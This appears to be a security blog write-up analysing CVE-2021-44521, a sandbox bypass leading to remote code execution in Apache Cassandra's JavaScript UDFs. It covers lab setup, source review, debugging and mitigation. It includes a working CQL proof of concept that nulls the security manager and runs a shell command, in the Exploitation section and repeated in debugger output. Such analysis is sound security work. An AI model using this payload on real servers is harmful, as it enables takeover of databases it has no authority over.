CVE-2021-44521: Apache Cassandra Remote Code Execution

21 minute read

Introduction

CVE-2021-44521 is a vulnerability discovered in Apache Cassandra which allow an attacker to achieve remote command execution through UDFS & bypass the sandbox to execute the code on the server under specific configurations which let the attacker to takeover the server.

CVSS:(Critical) https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-44521&vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H&version=3.1&source=NIST

What is Apache Cassandra ?

Apache Cassandra is an open-source distributed NoSQL database management system, Cassandra is highly scalable and can handle large amounts of structured, semi-structured, and unstructured data across multiple data centers, making it a popular choice for big data applications. It uses a decentralized architecture, with no master node, which allows for linear scalability and fault tolerance. Also, It’s highly tunable and configurable, allowing developers to adjust the system to their specific use case and workload.

CQL

CQL is a short for Cassandra Query Language, Which is a query language similar to SQL, but optimized for distributed database environments with support for secondary indexes, materialized views, and batch operations, among other features.

UDFs

UDFs is a short for User-Defined Functions which are functions that can be created and executed by users within a database management system. In our case, Cassandra offers the functionality of creating user-defined-functions (UDFs) & the UDFs in Cassandra can be written by default in Java and JavaScript.

Nashorn

Nashorn is a JavaScript engine that was introduced in Java 8 and it allows users to execute JavaScript code within a sanbox & It can be used to create and execute JavaScript based UDFs in Java based database management systems by executing it inside of a sandbox.

Testing Lab

Now, Let’s setup our testing lab for analysis & We gonna be using Cassandra 4.0.0, But we need to do some modification for the configuration file within the container and create a new image from it then start a container based on our modified one. First we will pull the Cassandra image:

docker pull cassandra:4.0.0

Now let’s run cassandra container:

sudo docker run --name my-cassandra-analysis -d cassandra:4.0.0

Let’s check if the container is running:

sudo docker ps -a

We can see the container is running, Now, Let’s open a shell to it and start our modifications:

sudo docker exec -it CONTAINER_ID bash

Now, Under /opt/cassandar we can find the cassandra.yaml:

Let’s open cassandra.yaml and modifiy & add the following lines:

enable_user_defined_functions: true
enable_scripted_user_defined_functions: true
enable_user_defined_functions_threads: false

After this save the file and exit the shell. And the time for creating image from our container is came:

sudo docker commit my-cassandra-4.0.0 cassandra-analysis:latest 

Now, Everything is ready let’s stop the continer and run a new one using our modified image:

sudo docker run --name my-cassandra-analysis -e "JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n" -p 8000:8000 -d cassandra-analysis:latest

The -e JAVA_TOOL_OPTIONS="-agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n" is to set a debugging port, So we can perform our dynamic analysis later and the -p 8000:8000 to map the external connections of port 8000 into the container. Now, If we execute shell on the container & try to see the configuration file of cassandra.yaml we can see our modified configurations applied:

Static Analysis

If we go again to cassandra.yaml file we can be able to see that the anonymous access is allowed as authenticator config is set as the following:

authenticator: AllowAllAuthenticator

And if we go to the cassandra source code we can find a call called AllowAllAuthenticator under the following path /src/java/org/apache/cassandra/auth, Let’s take a look and check it out:

public class AllowAllAuthenticator implements IAuthenticator
{
    private static final SaslNegotiator AUTHENTICATOR_INSTANCE = new Negotiator();

    public boolean requireAuthentication()
    {
        return false;
    }

    public Set<IResource> protectedResources()
    {
        return Collections.emptySet();
    }

    public void validateConfiguration() throws ConfigurationException
    {
    }

    public void setup()
    {
    }

    public SaslNegotiator newSaslNegotiator(InetAddress clientAddress)
    {
        return AUTHENTICATOR_INSTANCE;
    }

    public AuthenticatedUser legacyAuthenticate(Map<String, String> credentialsData)
    {
        return AuthenticatedUser.ANONYMOUS_USER;
    }

    private static class Negotiator implements SaslNegotiator
    {

        public byte[] evaluateResponse(byte[] clientResponse) throws AuthenticationException
        {
            return null;
        }

        public boolean isComplete()
        {
            return true;
        }

        public AuthenticatedUser getAuthenticatedUser() throws AuthenticationException
        {
            return AuthenticatedUser.ANONYMOUS_USER;
        }
    }
}

The class implements the IAuthenticator interface which is responsible for authenticating clients connecting to cassandra, the class providing a simple authentication mechanism that allows all connections without need for any credentials, In short words, Anonymous authentication.Let’s see the intreasted functions as steps happen as the following The requireAuthentication() function indicates whether authentication is required or no. In this case, it returns false which means authentication is not required. Then protectedResources() method returns a set of protected resources & since there is no authentication it returns an empty set. After that legacyAuthenticate() function is used for legacy authentication and It accepts credentials data and returns an AuthenticatedUser instance. In this case, it always returns the ANONYMOUS_USER from the AuthenticatedUser class. Now, If we try to access cassandra we will be able to see that we logged-in without any asking for credentials:

 

Here we can see we are on cassandra without any asking for credentials. Now, Back to our configurationsm Let’s explain each option in the configurations we apply to understand it more clearly.

enable_user_defined_functions & enable_scripted_user_defined_functions

The enable_user_defined_functions & enable_scripted_user_defined_functions options are for enabling the support of UDFs in both Java and Javascript. Now, If we go to src/java/org/apache/cassandra/cql3/functions/UDFunction.java and take a look on the UDFs get implementaion. The UDFunction class provides methods for validating the UDFs configuration and parameters and ensure that the function definition is correct and compatible with the expected data types.

 

Here first we can see that UDFunction class is declared as abstract and extends the AbstractFunction class & implements the ScalarFunction and SchemaElement interfaces. Them, defines a variable called logger from LoggerFactory to log messages, After that a threadMXBean variable that provides access to the thread management and monitoring MXBean. Finally, Declaring the follwoing variables:

  • argNames: A list of ColumnIdentifier objects representing the names of the function arguments.

  • language and body: Strings representing the language and body of the user-defined function.

  • argCodecs: An array of TypeCodec Object representing the argument codecs for the function.

  • returnCodec: A TypeCodec Object representing the return codec for the function.

  • calledOnNullInput: A boolean indicating whether the function is called on null input.

  • udfContext: A variable of type UDFContext which provides context information for the UDF.

By scrolling more down we can find here a variable named allowedPatterns which is an array used for controlling access to classes and resources during compilation and runtime by compering to these patterns that specify the allowed classes/resources that can be loaded by the class loader. Moving to the following lines:

 

Here we can see a variable named disallowedPatterns which is an array used for the opposite process of allowedPatterns, Which here the disallowedPatterns used for controlling access to classes and resources during compilation and runtime by compering to these patterns that specify the disallowed classes/resources that can’t be loaded by the class loader.

 

In the next lines we can see the following clearly, This is a static function named secureResource & basically, it’s used to determine whether a given resource is considered secure based on the allowed and disallowed patterns specified in the allowedPatterns and disallowedPatterns arrays. First, the function takes a parameter named resource and as we can guess it will be the required resources to be loaded, After that defines a While loop to remove forward slashes / from the resource string by repeatedly calling substring(1) until the forward slashes are eliminated, Then a for-each loop happens to iterate through the allowedPatterns array to check if the resource starts with any of the allowed patterns and If the resource starts with an allowed pattern it will proceed to check if it is explicitly disallowed by iterating through disallowedPatterns array to make sure there is no manipulation in the resource is being used for a bypass. Finally, If the the resource patterns is disallowed it will return false with a massage indicating access denial for the resource, If not, then it will return true indicating that the resource is considered secure.

 

In the above lines in the screenshot, It’s creating a new ClassLoader Object named udfClassLoader and initializes it with a new instance of the UDFClassLoader class, After that it invokes a constructor named UDFunction which create and initialize a UDF, The function takes the following parameters:

  • name: A FunctionName object representing the name of the UDF.

  • argNames: A list of ColumnIdentifier objects representing the names of the function arguments.

  • argTypes: A list of AbstractType objects representing the types of the function arguments.

  • returnType: An AbstractType object representing the return type of the function.

  • alledOnNullInput: A boolean indicating whether the function is called on null input.

  • language: A string representing the language of the UDF, Wethier is Java or JavaScritp.

  • body: A string representing the body of the UDF.

Then, it passes the provided parameters to the other constructor and the UDHelper.driverType method is called with the returnType parameter to convert the return type into the corresponding driver type using another helper method.

In the next lines, Here we can see it invokes a second constructor with the same parameters. After that it invokes the constructor of the superclass AbstractFunction with name, argTypes, and returnType parameters, Then performs an assertion check to ensure that the argNames list does not contain any duplicate entries. After That, assigning the variables to instance variables of the class. Finally, It retrieves the metadata for the keyspace specified in the name parameter using the getKeyspaceMetadata method of the Schema.instance object and creates a new instance of the UDFContextImpl class & pass the argNames, argCodecs, returnCodec, and keyspaceMetadata parameters and The results object is assigned to the udfContext instance variable.

 

Now, We arrived to the funny part in the code where it try to create the UDF. The tryCreate method will take the parameters we mentioned before and try to to create the UDF by passing it to create() function. If we scroll down to take a look at the function we can see it as the following:

 

The function has a switch statment to check the language of the UDF, If it’s Java, Then it will create the UDF using the JavaBasedUDFunction() function which can be found as src/java/org/apache/cassandra/cql3/functions/JavaBasedUDFunction.java class which represent the UDF implemention in Java,If not then it will create it using ScriptBasedUDFunction() function which can be found as src/java/org/apache/cassandra/cql3/functions/ScriptBasedUDFunction.java class which represent the UDF implemention in scripting languages as JavaScript. If we go to the ScriptBasedUDFunction.java class we will be able to see the Nashron sandbox implemention, Let’s discover the class to make everything more clear.

 

The class starts with the declaration of two variables protectionDomain and accessControlContext, ProtectionDomain holds information about the protection domain of the class and AccessControlContext represents the access control context for the class.

 

Here it defines the allowedPackagesArray variable which is an array of strings representing the allowed packages for the Nashorn script engine. These allowed packages determine which packages and classes are accessible within the sandboxed environment for executing the UDFs and this inclusion of specific packages ensures that necessary classes and functionalities required by the scripts and the environment are accessible while maintaining security and preventing unauthorized access to sensitive classes or resources.

 

When we scroll down we can notice The UDFExecutorService which is a custom executor service used for executing the UDFs and It takes parameters such as a named thread factory, a class loader udfClassLoader, a security thread group & a thread initialization function UDFunction::initializeThread . After that out of the executor we can notice the NashornScriptEngine declering and ClassFilter which is an interface used by the Nashorn script engine.

 

As we move to the next lines we can see a static block where the nashorn get initialized. First, It creates an instance of ScriptEngineManager and named as scriptEngineManager. Then, It retrieves Nashorn script engine into engine variable which is a ScriptEngine object. After that it checks if the engine variable is not null, If it’s not null it casts the factory of the script engine to NashornScriptEngineFactory, if it’s null it assigns null to the factory variable. Followed by checking if the factory is not null. If it’s not null it will create a new Nashorn script engine using the factory getScriptEngine method and pass empty string array, udfClassLoader as the class loader & the classFilter as the class filter which defined in the above lines wie discuss before. The AccessControlContext encapsulates the context in which a set of permissions is checked for access control decisions.

 

Here a constructor initializes a ScriptBasedUDFunction instance by compiling the script, performing necessary checks & security measures and setting up the execution context. First it checks if the language specified is JavaScript and if the scriptEngine is not null, If the language is invalid or the scriptEngine is null it throws an InvalidRequestException with an appropriate error message. Then, it attempts to compile the body of the script using the scriptEngineand compilation is executed with no permissions to prevent potentially malicious code from running, such as code in static code blocks or during class initialization & it’s done by using AccessController.doPrivileged() with a PrivilegedExceptionAction that compiles the script. Finally, accessControlContext is used as the access control context for this privileged action If an exception occurs during the compilation process an InvalidRequestException is thrown with a formatted error message. After that an instance of UDFContextWrapper is created and assigned to the udfContextBinding variable and it serves as a binding for the script execution context.

 

In this code section it first returns the executor instance which is an ExecutorService used for executing tasks asynchronously in the codebase. Then, we have executeUserDefined() function prepares the parameters & execute the UDF script and converts the result into a ByteBuffer to be returned.

 

Then executeAggregateUserDefined() function prepares the parameters & call the executeScriptInternal() method with the prepared parametersand return the result of executing the UDFaggregate function.

enable_user_defined_functions_threads

The enable_user_defined_functions_threads is a configuration option and when it’s enabled, UDF execution is offloaded to a dedicated thread pool which allowing UDFs to be executed concurrently with other queries. And the main problem is here cause when this option is disabled the UDF runs in the daemon thread, As a results we has permissions to call setSecurityManager which allow us to disable the security manager in cassandra, As a results we will be able to bypass the class filtering and we will be able to include critical or blacklisted calsses to execute codes on the system as when we running the JS code in Nashron we can access Nashorn instance engine, through the access we have to the engine property. We can find the implementation of SecurityManager at the following class src/java/org/apache/cassandra/security/ThreadAwareSecurityManager.java the class is providing a mechanism for controlling and enforcing security permissions in Cassandra which allowing fine-grained access control for different operations and resources.

Exploitation

It’s the time to see how we can exploit the vulnerability before do our dynamic analysis on it. So, we be able to understand what we are debugging or analysis dynamically.

CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
use test;
CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
create or replace function test.exec(name text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$
var System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch /tmp/Pwn3d.txt")');name $$;
insert into tab(cmd) values('test');
select exec(cmd) from tab;

This UDF will run in a daemon thread as the enable_user_defined_functions_threads option is disabled, As a results we can have permissions to control setSecurityManager and we can see in the UDF we set it to null so we can bypass the class filteration & with the access to engine property we create a new engine instance and call eval() function from JS & finally, Our JAVA code in it to execute a command using Runtime from Java. In our case, The code will create a file named Pwn3d.txt under the /tmp directory on the server as a PoC. Let’s Run the UDF and check it out:

Dynamic Analysis

Now, We under stand how is the Nashorn is implemented, How the UDFs get executed the security manager & the class filtering mechanism. It’s time to see the UDFs run in action and in the default settings while we debug it & see the difference dynamically when the security manager is on & When it’s off. We already configured the debugger before when we were setting up our testing lab. Note: For debugging people may face problems when debugging on docker, So we gonna build cassandra easily and debug it locally from the kali machine. First download Cassandra-4.0.0 from here. Now, extract it and install apache ant:

sudo apt install ant

Now, let’s build Cassandra by using ant command:

 

 

After building is done, Let’s enable debugging by exporting the following variable in our environmenrt:

export JVM_EXTRA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1414"

 

 

Before we run the app let’s edit the options in cassandra.yaml file under the conf directory & add the following options:

 

Now, Run Cassandra using ./bin/cassandra:

 

 

The app is running, go to Run Tab and then click on Edit Configurations:

 

 

Then Click on the + add sign and choose Remote JVM Debug:

 

 

And Name it as you want & configure the remote debugger, By adding the machine IP, Debugging port which is 1414:

 

 

Finally, Let’s Set the breakpoint on the private static final UDFExecutorService executor inside of src/java/org/apache/cassandra/security/ThreadAwareSecurityManager.java class.

 

 

Now, Let’s click on the debugging button

 

 

 

 

Next, execute our UDF again:

 

 

As you can see because we set the enable_user_defined_functions_threads otpion to true, The UDF not running in a daemon thread. Therefor, We don’t have the permissions to control setSecurityManager. So, We got this execption massege.

 

 

When we go to our debugger here clearly we have the members of ScriptBasedUDFunction which are:

protectionDomain = null
accessControlContext = null
allowedPackagesArray = {String[34]@7856} ["", "com", "edu", "java", "javax", +29 more]
executor = null
classFilter = null
scriptEngine = null
logger = {Logger@7857} "Logger[org.apache.cassandra.cql3.functions.UDFunction]"
threadMXBean = {ThreadImpl@7858} 
allowedPatterns = {String[21]@7859} ["com/google/comm...", "java/io/IOExcep...", "java/io/Seriali...", "java/lang/", "java/math/", +16 more]
disallowedPatterns = {String[34]@7860} ["com/datastax/dr...", "com/datastax/dr...", "com/datastax/dr...", "com/datastax/dr...", "com/datastax/dr...", +29 more]
udfClassLoader = {UDFunction$UDFClassLoader@7861} 
$assertionsDisabled = false
NAME_COMPARATOR = {SchemaElement$lambda@7862} 

 

 

Here we can see it executed the ScriptBasedUDFunction() function under UDFunction class implementation as the language is JavaScript & We can see that the body is carrying our function:

body= var System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch /tmp/Pwn3d.txt")');name 

 

 

After that it starts to create our UDF using create method. And it’s passing the needed parameters as the following:

this = {CreateFunctionStatement@7887} "CreateFunctionStatement (test, exec)"
 functionName = "exec"
 argumentNames = {ArrayList@7880}  size = 1
 rawArgumentTypes = {ArrayList@7937}  size = 1
 rawReturnType = {CQL3Type$Raw$RawType@7938} "text"
 calledOnNullInput = false
 language = "javascript"
 body = "\nvar System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch /tmp/Pwn3d.txt")');name "
 orReplace = true
 ifNotExists = false
 keyspaceName = "test"
schema = {Keyspaces@7888} "[KeyspaceMetadata{name=system_schema, kind=REGULAR, params=KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.LocalStrategy}}, tables=[system_schema.keyspaces, system_schema.tables, system_schema.columns, system_schema.triggers, system_schema.dropped_columns, system_schema.views, system_schema.types, system_schema.functions, system_schema.aggregates, system_schema.indexes], views=[], functions=[], types=[]}, KeyspaceMetadata{name=system, kind=REGULAR, params=KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.LocalStrategy}}, tables=[system."IndexInfo", system.batches, system.paxos, system.local, system.peers_v2, system.peers, system.peer_events_v2, system.peer_events, system.compaction_history, system.sstable_activity, system.size_estimates, system.table_estimates, system.available_ranges_v2, system.available_ranges, system.transferred_ranges_v2, system.transferred_ranges, system.view_bu"
 keyspaces = {RegularImmutableMap@7940}  size = 6
 tables = {RegularImmutableMap@7941}  size = 41
keyspace = {KeyspaceMetadata@7889} "KeyspaceMetadata{name=test, kind=REGULAR, params=KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.SimpleStrategy, replication_factor=3}}, tables=[test.tab], views=[], functions=[], types=[]}"
 name = "test"
 kind = {KeyspaceMetadata$Kind@7943} "REGULAR"
 params = {KeyspaceParams@7944} "KeyspaceParams{durable_writes=true, replication=ReplicationParams{class=org.apache.cassandra.locator.SimpleStrategy, replication_factor=3}}"
 tables = {Tables@7945} "[test.tab]"
 views = {Views@7946} "[]"
 types = {Types@7947} "[]"
 functions = {Functions@7948} "[]"
argumentTypes = {ArrayList@7881}  size = 1
 0 = {UTF8Type@7882} "org.apache.cassandra.db.marshal.UTF8Type"
returnType = {UTF8Type@7882} "org.apache.cassandra.db.marshal.UTF8Type"
 reverseComparator = {AbstractType$lambda@7922} 
 comparisonType = {AbstractType$ComparisonType@7923} "BYTE_ORDER"
 isByteOrderComparable = true
 comparatorSet = {ValueComparators@7924} 
argumentNames = {ArrayList@7880}  size = 1
 0 = {ColumnIdentifier@7919} "name"
functionName = "exec"
 value = {char[4]@7935} [e, x, e, c]
 hash = 0

 

 

Moving forward it will go to the src/java/org/apache/cassandra/security/ThreadAwareSecurityManager.java class to start performing the security checks using isSecuredThread() that checks if the current thread is a secured thread. Now, Let’s disable the enable_user_defined_functions_threads and see how the function will get executed while we debugging:

 

 

Then restart Cassandra and start to debug, When we start to debug it will do the same previous, But when we arrive here:

 

 

it’s checking if the current thread is running in a secured thread group SecurityThreadGroup and returns true if the thread has been previously initialized as secured or false if it’s not running in a secured thread group or has not been initialized yet. But, In our case it will return false.

 

 

Here when it’s come to check if the thread results is true, Then it will throw execption tells us that access denied. But, This time will not as the the UDF running as a daemon thread and we set the securityManager to null. As a results it will execute our UDF successfully.

Mitigation

The vulnerability is only avlilable under the configurations we configure Cassandra on, To mitigate this CVE we have to set enable_user_defined_functions_threads option to true to prevent the UDF from running as a daemon thread & If you not using UDFs you better disable it. You can use this remedy script on Vsociety from here to help you with that.

 

Mitigation Video: https://ibb.co/GpQzPTd

Conclusion

In a short way, We analyzed the vulnerability& the root-cause, The UDFs, Nashron, SecurityManager & more. We saw how UDFs created and executed & How under a certien configurations the Cassandra can be vulnerable for the CVE. Finally, How it could be used to bypass all the security implementations and achieve remote code execution on the target host.

Resources